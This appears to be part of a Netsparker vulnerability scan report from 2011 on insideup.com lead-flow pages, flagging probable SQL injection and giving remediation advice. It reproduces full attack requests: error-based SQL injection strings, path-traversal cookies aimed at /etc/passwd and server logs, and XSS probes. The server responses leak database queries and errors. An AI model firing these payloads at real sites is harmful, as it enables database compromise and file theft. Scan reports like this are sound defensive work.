prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/obtm00/project.php?catId=80011&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/obtm00/project.php?catId=80011&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/obtm00/project.php?catId=80011&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/obtm00/project.php?catId=80011&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/'Duplicate entry '_!@4dilemma:1' for key 1

[Probable] SQL Injection

23 TOTAL

CRITICAL

SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Even though Netsparker believes that there is a SQL Injection in here it could not confirm it. There can be numerous reasons for Netsparker not being able to confirm this. We strongly recommend investigating the issue manually to ensure that it is an SQL Injection and that it needs to be addressed. You can also consider sending the details of this issue to us, in order that we can address this issue for the next time and give you a more precise result.

Impact

Depending on the backend database, database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:

Reading, Updating and Deleting arbitrary data from the database
Executing commands on the underlying operating system
Reading, Updating and Deleting arbitrary tables from the database

Actions to Take

See the remedy for solution.
If you are not using a database access layer (DAL) within the architecture consider its benefits and implement if appropriate. As a minimum the use of s DAL will help centralize the issue and its resolution. You can also use an ORM (object relational mapping). Most ORM systems use parameterized queries and this can solve many if not all SQL Injection based problems.
Locate all of the dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
Monitor and review weblogs and application logs in order to uncover active or previous exploitation attempts.

Remedy

A very robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to test for SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.

External References

Remedy References

MSDN - Protect From SQL Injection in ASP.NET

- /ppc/leadflow/wede00/project.php

/ppc/leadflow/wede00/project.php

http://www.insideup.com/ppc/leadflow/wede00/project.php?catId='%2B%20(select+convert(int,CHAR(95)%2B..

Parameters

Parameter	Type	Value
catId	GET	'+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
iusrc	GET	iupsc

Request

GET /ppc/leadflow/wede00/project.php?catId='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&iusrc=iupsc HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:22:44 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=f0g3u77cjctk0d190gr5kae692; path=/
Content-Length: 4143
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/wede00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/wede00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/wede00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/wede00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/wede00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/wede00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/wede00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/wede00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/wede00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/wede00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+' at line 5

- /ppc/leadflow/wede00/project.php

/ppc/leadflow/wede00/project.php

http://www.insideup.com/ppc/leadflow/wede00/project.php?catId=20001&iusrc='%2B%20(select+convert(int..

Parameters

Parameter	Type	Value
catId	GET	20001
iusrc	GET	'+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'

Request

GET /ppc/leadflow/wede00/project.php?catId=20001&iusrc='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B' HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:23:21 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=boqvj6hsv96bp1caprojf29gd0; path=/
Content-Length: 4143
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/wede00/project.php?catId=20001&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/wede00/project.php?catId=20001&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/wede00/project.php?catId=20001&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/wede00/project.php?catId=20001&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/wede00/project.php?catId=20001&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/wede00/project.php?catId=20001&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/wede00/project.php?catId=20001&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/wede00/project.php?catId=20001&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/wede00/project.php?catId=20001&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/wede00/project.php?catId=20001&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+' at line 5

- /ppc/leadflow/lgds00/project.php

/ppc/leadflow/lgds00/project.php

http://www.insideup.com/ppc/leadflow/lgds00/project.php?catId='%2B%20(select+convert(int,CHAR(95)%2B..

Parameters

Parameter	Type	Value
catId	GET	'+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
iusrc	GET	iupsc

Request

GET /ppc/leadflow/lgds00/project.php?catId='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&iusrc=iupsc HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
